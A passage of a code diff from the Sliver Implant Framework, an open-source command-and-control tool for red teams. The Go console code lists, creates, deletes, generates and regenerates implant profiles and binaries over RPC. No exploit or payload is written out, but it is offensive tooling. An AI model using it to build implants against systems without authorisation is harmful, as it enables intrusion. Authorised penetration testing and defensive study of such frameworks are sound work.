if config.IsBeacon {
implantType = "beacon"
}
c2URLs := []string{}
for index, c2 := range config.C2 {
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
}
tw.AppendRow(table.Row{
sliverName,
implantType,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
config.Format,
strings.Join(c2URLs, "\n"),
fmt.Sprintf("%v", config.Debug),
})
}
con.Println(tw.Render())
}
// ImplantBuildNameCompleter - Completer for implant build names
func ImplantBuildNameCompleter(prefix string, args []string, filters ImplantBuildFilter, con *console.SliverConsoleClient) []string {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
return []string{}
}
results := []string{}
for name, config := range builds.Configs {
if filters.GOOS != "" && config.GOOS != filters.GOOS {
continue
}
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
continue
}
if filters.Beacon && !config.IsBeacon {
continue
}
if filters.Session && config.IsBeacon {
continue
}
if filters.Debug && config.Debug {
continue
}
if filters.Format != "" && !strings.EqualFold(config.Format.String(), filters.Format) {
continue
}
if strings.HasPrefix(name, prefix) {
results = append(results, name)
}
}
sort.StringSlice(results).Sort()
return results
}
// ImplantBuildByName - Get an implant build by name
func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
return nil
}
for sliverName, build := range builds.Configs {
if sliverName == name {
return build
}
}
return nil
}
@@ -0,0 +1,61 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// ProfilesGenerateCmd - Generate an implant binary based on a profile
func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("No profile name specified\n")
return
}
save := ctx.Flags.String("save")
if save == "" {
save, _ = os.Getwd()
}
profile := GetImplantProfileByName(name, con)
if profile != nil {
implantFile, err := compile(profile.Config, save, con)
if err != nil {
return
}
profile.Config.Name = buildImplantName(implantFile.Name)
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("could not update implant profile: %v\n", err)
return
}
} else {
con.PrintErrorf("No profile with name '%s'", name)
}
}
func buildImplantName(name string) string {
return strings.TrimSuffix(name, filepath.Ext(name))
}
+74
View File
@@ -0,0 +1,74 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// ProfilesNewCmd - Create a new implant profile
func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
config := parseCompileFlags(ctx, con)
if config == nil {
return
}
profile := &clientpb.ImplantProfile{
Name: name,
Config: config,
}
resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Saved new implant profile %s\n", resp.Name)
}
}
// ProfilesNewBeaconCmd - Create a new beacon profile
func ProfilesNewBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("No profile name specified\n")
return
}
config := parseCompileFlags(ctx, con)
if config == nil {
return
}
config.IsBeacon = true
err := parseBeaconFlags(ctx, con, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
profile := &clientpb.ImplantProfile{
Name: name,
Config: config,
}
resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Saved new implant profile (beacon) %s\n", resp.Name)
}
}
+56
View File
@@ -0,0 +1,56 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// ProfilesRmCmd - Delete an implant profile
func ProfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("No profile name specified\n")
return
}
profile := GetImplantProfileByName(name, con)
if profile == nil {
con.PrintErrorf("No profile found with name '%s'\n", name)
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
Name: name,
})
if err != nil {
con.PrintErrorf("Failed to delete profile %s\n", err)
return
}
}
+134
View File
@@ -0,0 +1,134 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// ProfilesCmd - Display implant profiles
func ProfilesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
profiles := getImplantProfiles(con)
if profiles == nil {
return
}
if len(profiles) == 0 {
con.PrintInfof("No profiles, see `%s %s help`\n", consts.ProfilesStr, consts.NewStr)
return
} else {
PrintProfiles(profiles, con)
}
}
// PrintProfiles - Print the profiles
func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Profile Name",
"Implant Type",
"Platform",
"Command & Control",
"Debug",
"Format",
"Obfuscation",
"Limitations",
})
tw.SortBy([]table.SortBy{
{Name: "Profile Name", Mode: table.Asc},
})
for _, profile := range profiles {
config := profile.Config
obfuscation := "disabled"
if config.ObfuscateSymbols {
obfuscation = "enabled"
}
implantType := "session"
if config.IsBeacon {
implantType = "beacon"
}
c2URLs := []string{}
for index, c2 := range config.C2 {
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
}
tw.AppendRow(table.Row{
profile.Name,
implantType,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
strings.Join(c2URLs, "\n"),
fmt.Sprintf("%v", config.Debug),
fmt.Sprintf("%v", config.Format),
obfuscation,
getLimitsString(config),
})
}
con.Printf("%s\n", tw.Render())
}
func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantProfile {
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return pbProfiles.Profiles
}
// GetImplantProfileByName - Get an implant profile by a specific name
func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile {
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
for _, profile := range pbProfiles.Profiles {
if profile.Name == name {
return profile
}
}
return nil
}
// ProfileNameCompleter - Completer for implant build names
func ProfileNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
return []string{}
}
results := []string{}
for _, profile := range pbProfiles.Profiles {
if strings.HasPrefix(profile.Name, prefix) {
results = append(results, profile.Name)
}
}
return results
}
+60
View File
@@ -0,0 +1,60 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io/ioutil"
"os"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// RegenerateCmd - Download an archived implant build/binary
func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
save := ctx.Flags.String("save")
if save == "" {
save, _ = os.Getwd()
}
regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: ctx.Args.String("implant-name"),
})
if err != nil {
con.PrintErrorf("Failed to regenerate implant %s\n", err)
return
}
if regenerate.File == nil {
con.PrintErrorf("Failed to regenerate implant (no data)\n")
return
}
saveTo, err := saveLocation(save, regenerate.File.Name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
if err != nil {
con.PrintErrorf("Failed to write to %s\n", err)
return
}
con.PrintInfof("Implant binary saved to: %s\n", saveTo)
}
File renamed without changes.
Loaded 100 of 2885 files, more files were not shown because too many files have changed in this diff. Show more